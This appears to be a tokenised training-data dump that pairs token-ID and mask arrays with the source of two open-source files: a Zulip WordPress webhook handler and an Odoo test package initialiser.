2325, 342, 272, 862, 26, 489, 372, 291, 14, 10360, 59, 1310, 63, 1080, 2733, 2993, 3488, 1291, 63, 354, 61, 272, 871, 4067, 26, 489, 372, 488, 2126, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
brockwhittaker/zulip
zerver/webhooks/wordpress/view.py
3
2178
# Webhooks for external integrations. from django.utils.translation import ugettext as _ from django.http import HttpRequest, HttpResponse from zerver.models import get_client, UserProfile from zerver.lib.actions import check_send_stream_message from zerver.lib.response import json_success, json_error from zerver.decorator import REQ, has_request_variables, api_key_only_webhook_view from six import text_type PUBLISH_POST_OR_PAGE_TEMPLATE = 'New {type} published.\n[{title}]({url})' USER_REGISTER_TEMPLATE = 'New blog user registered.\nName: {name}\nemail: {email}' WP_LOGIN_TEMPLATE = 'User {name} logged in.' @api_key_only_webhook_view("Wordpress") @has_request_variables def api_wordpress_webhook(request, user_profile, stream=REQ(default="wordpress"), topic=REQ(default="WordPress Notification"), hook=REQ(default="WordPress Action"), post_title=REQ(default="New WordPress Post"), post_type=REQ(default="post"), post_url=REQ(default="WordPress Post URL"), display_name=REQ(default="New User Name"), user_email=REQ(default="New User Email"), user_login=REQ(default="Logged in User")): # type: (HttpRequest, UserProfile, text_type, text_type, text_type, text_type, text_type, text_type, text_type, text_type, text_type) -> HttpResponse # remove trailing whitespace (issue for some test fixtures) hook = hook.rstrip() if hook == 'publish_post' or hook == 'publish_page': data = PUBLISH_POST_OR_PAGE_TEMPLATE.format(type=post_type, title=post_title, url=post_url) elif hook == 'user_register': data = USER_REGISTER_TEMPLATE.format(name=display_name, email=user_email) elif hook == 'wp_login': data = WP_LOGIN_TEMPLATE.format(name=user_login) else: return json_error(_("Unknown WordPress webhook action: " + hook)) check_send_stream_message(user_profile, get_client("ZulipWordPressWebhook"), stream, topic, data) return json_success()
apache-2.0
[ 3, 6001, 7922, 367, 5957, 4661, 926, 852, 14, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 465, 485, 199, 504, 1639, 14, 1014, 492, 20730, 12, 6183, 199, 504, 19959, 14, 992, 492, 664, 63, 1258, 12, 19037, 199, 504, 19959, 14, 773, 14, 3723, 492, 1104, 63, 2254, 63, 1745, 63, 1188, 199, 504, 19959, 14, 773, 14, 1310, 492, 2022, 63, 3742, 12, 2022, 63, 705, 199, 504, 19959, 14, 11547, 492, 5363, 49, 12, 965, 63, 1069, 63, 3669, 12, 2986, 63, 498, 63, 2118, 63, 22944, 63, 1345, 199, 199, 504, 3816, 492, 1318, 63, 466, 199, 199, 30266, 13898, 63, 4030, 63, 726, 63, 12898, 63, 7433, 275, 283, 4665, 469, 466, 93, 3267, 3134, 78, 59, 91, 1213, 11049, 2561, 633, 29668, 199, 3791, 63, 23986, 63, 7433, 275, 283, 4665, 19936, 922, 7264, 3134, 78, 985, 26, 469, 354, 4988, 685, 1198, 26, 469, 2123, 6834, 199, 22512, 63, 17208, 63, 7433, 275, 283, 1899, 469, 354, 93, 10367, 315, 3530, 199, 199, 32, 1246, 63, 498, 63, 2118, 63, 22944, 63, 1345, 480, 10155, 2915, 531, 199, 32, 1989, 63, 1069, 63, 3669, 199, 318, 2986, 63, 1027, 2915, 63, 22944, 8, 1069, 12, 922, 63, 2913, 12, 2079, 2547, 29, 14583, 8, 885, 628, 1027, 2915, 1288, 2079, 7482, 29, 14583, 8, 885, 628, 10155, 14414, 23362, 1288, 2079, 5759, 29, 14583, 8, 885, 628, 10155, 14414, 10033, 1288, 2079, 2963, 63, 1213, 29, 14583, 8, 885, 628, 4665, 14644, 14414, 7711, 1288, 2079, 2963, 63, 466, 29, 14583, 8, 885, 628, 1932, 1288, 2079, 2963, 63, 633, 29, 14583, 8, 885, 628, 10155, 14414, 7711, 2851, 1288, 2079, 2929, 63, 354, 29, 14583, 8, 885, 628, 4665, 2876, 2812, 1288, 2079, 922, 63, 2123, 29, 14583, 8, 885, 628, 4665, 2876, 11426, 1288, 2079, 922, 63, 2886, 29, 14583, 8, 885, 628, 28985, 315, 2876, 14150, 272, 327, 730, 26, 334, 10441, 12, 19037, 12, 1318, 63, 466, 12, 1318, 63, 466, 12, 1318, 63, 466, 12, 1318, 63, 466, 12, 1318, 63, 466, 12, 1318, 63, 466, 12, 1318, 63, 466, 12, 1318, 63, 466, 12, 1318, 63, 466, 9, 1035, 6183, 339, 327, 2813, 8520, 8139, 334, 5237, 367, 2005, 511, 15188, 9, 272, 5759, 275, 5759, 14, 6735, 342, 339, 340, 5759, 508, 283, 4763, 63, 1932, 7, 503, 5759, 508, 283, 4763, 63, 1606, 356, 267, 666, 275, 18787, 44, 13898, 63, 4030, 63, 726, 63, 12898, 63, 7433, 14, 908, 8, 466, 29, 1932, 63, 466, 12, 2538, 29, 1932, 63, 1213, 12, 1166, 29, 1932, 63, 633, 9, 339, 916, 5759, 508, 283, 751, 63, 2683, 356, 267, 666, 275, 13044, 63, 23986, 63, 7433, 14, 908, 8, 354, 29, 2918, 63, 354, 12, 3031, 29, 751, 63, 2123, 9, 339, 916, 5759, 508, 283, 14649, 63, 2886, 356, 267, 666, 275, 644, 48, 63, 17208, 63, 7433, 14, 908, 8, 354, 29, 751, 63, 2886, 9, 339, 587, 26, 267, 372, 2022, 63, 705, 6115, 5912, 14644, 14414, 30053, 1595, 26, 298, 435, 5759, 430, 339, 1104, 63, 2254, 63, 1745, 63, 1188, 8, 751, 63, 2913, 12, 664, 63, 1258, 480, 58, 11294, 10155, 14414, 5926, 3664, 1288, 2892, 2547, 12, 7482, 12, 666, 9, 272, 372, 2022, 63, 3742, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 6001, 7922, 367, 5957, 4661, 926, 852, 14, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 465, 485, 199, 504, 1639, 14, 1014, 492, 20730, 12, 6183, 199, 504, 19959, 14, 992, 492, 664, 63, 1258, 12, 19037, 199, 504, 19959, 14, 773, 14, 3723, 492, 1104, 63, 2254, 63, 1745, 63, 1188, 199, 504, 19959, 14, 773, 14, 1310, 492, 2022, 63, 3742, 12, 2022, 63, 705, 199, 504, 19959, 14, 11547, 492, 5363, 49, 12, 965, 63, 1069, 63, 3669, 12, 2986, 63, 498, 63, 2118, 63, 22944, 63, 1345, 199, 199, 504, 3816, 492, 1318, 63, 466, 199, 199, 30266, 13898, 63, 4030, 63, 726, 63, 12898, 63, 7433, 275, 283, 4665, 469, 466, 93, 3267, 3134, 78, 59, 91, 1213, 11049, 2561, 633, 29668, 199, 3791, 63, 23986, 63, 7433, 275, 283, 4665, 19936, 922, 7264, 3134, 78, 985, 26, 469, 354, 4988, 685, 1198, 26, 469, 2123, 6834, 199, 22512, 63, 17208, 63, 7433, 275, 283, 1899, 469, 354, 93, 10367, 315, 3530, 199, 199, 32, 1246, 63, 498, 63, 2118, 63, 22944, 63, 1345, 480, 10155, 2915, 531, 199, 32, 1989, 63, 1069, 63, 3669, 199, 318, 2986, 63, 1027, 2915, 63, 22944, 8, 1069, 12, 922, 63, 2913, 12, 2079, 2547, 29, 14583, 8, 885, 628, 1027, 2915, 1288, 2079, 7482, 29, 14583, 8, 885, 628, 10155, 14414, 23362, 1288, 2079, 5759, 29, 14583, 8, 885, 628, 10155, 14414, 10033, 1288, 2079, 2963, 63, 1213, 29, 14583, 8, 885, 628, 4665, 14644, 14414, 7711, 1288, 2079, 2963, 63, 466, 29, 14583, 8, 885, 628, 1932, 1288, 2079, 2963, 63, 633, 29, 14583, 8, 885, 628, 10155, 14414, 7711, 2851, 1288, 2079, 2929, 63, 354, 29, 14583, 8, 885, 628, 4665, 2876, 2812, 1288, 2079, 922, 63, 2123, 29, 14583, 8, 885, 628, 4665, 2876, 11426, 1288, 2079, 922, 63, 2886, 29, 14583, 8, 885, 628, 28985, 315, 2876, 14150, 272, 327, 730, 26, 334, 10441, 12, 19037, 12, 1318, 63, 466, 12, 1318, 63, 466, 12, 1318, 63, 466, 12, 1318, 63, 466, 12, 1318, 63, 466, 12, 1318, 63, 466, 12, 1318, 63, 466, 12, 1318, 63, 466, 12, 1318, 63, 466, 9, 1035, 6183, 339, 327, 2813, 8520, 8139, 334, 5237, 367, 2005, 511, 15188, 9, 272, 5759, 275, 5759, 14, 6735, 342, 339, 340, 5759, 508, 283, 4763, 63, 1932, 7, 503, 5759, 508, 283, 4763, 63, 1606, 356, 267, 666, 275, 18787, 44, 13898, 63, 4030, 63, 726, 63, 12898, 63, 7433, 14, 908, 8, 466, 29, 1932, 63, 466, 12, 2538, 29, 1932, 63, 1213, 12, 1166, 29, 1932, 63, 633, 9, 339, 916, 5759, 508, 283, 751, 63, 2683, 356, 267, 666, 275, 13044, 63, 23986, 63, 7433, 14, 908, 8, 354, 29, 2918, 63, 354, 12, 3031, 29, 751, 63, 2123, 9, 339, 916, 5759, 508, 283, 14649, 63, 2886, 356, 267, 666, 275, 644, 48, 63, 17208, 63, 7433, 14, 908, 8, 354, 29, 751, 63, 2886, 9, 339, 587, 26, 267, 372, 2022, 63, 705, 6115, 5912, 14644, 14414, 30053, 1595, 26, 298, 435, 5759, 430, 339, 1104, 63, 2254, 63, 1745, 63, 1188, 8, 751, 63, 2913, 12, 664, 63, 1258, 480, 58, 11294, 10155, 14414, 5926, 3664, 1288, 2892, 2547, 12, 7482, 12, 666, 9, 272, 372, 2022, 63, 3742, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
alexteodor/odoo
addons/base_action_rule/tests/__init__.py
178
1129
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Business Applications # Copyright (c) 2012-TODAY OpenERP S.A. <http://openerp.com> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from . import base_action_rule_test checks = [ base_action_rule_test, ] # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 23813, 24636, 199, 3, 259, 1898, 334, 67, 9, 6029, 13, 2566, 11655, 7653, 428, 14, 33, 14, 665, 1014, 921, 11267, 14, 957, 30, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 504, 1275, 492, 1300, 63, 1287, 63, 2200, 63, 396, 199, 199, 8625, 275, 359, 272, 1300, 63, 1287, 63, 2200, 63, 396, 12, 199, 61, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 